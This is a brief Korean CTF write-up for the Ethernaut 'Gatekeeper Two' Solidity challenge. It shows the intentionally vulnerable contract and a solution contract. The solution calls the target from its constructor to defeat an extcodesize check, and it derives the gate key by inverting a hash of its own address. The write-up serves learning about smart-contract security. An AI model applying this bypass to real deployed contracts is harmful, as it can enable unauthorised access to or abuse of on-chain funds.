[Ethernaut] 14. Gatekeeper Two

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

목표

modifier 통과

 

방법

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./GatekeeperTwo.sol";

contract GatekeeperTwoAttack {
    GatekeeperTwo target;
    
    constructor(address _adr) public {
        target = GatekeeperTwo(_adr);
        bytes8 ae = bytes8(keccak256(abi.encodePacked(address(this))));
        bytes8 key = ~ae;
        target.enter(key);
    }


}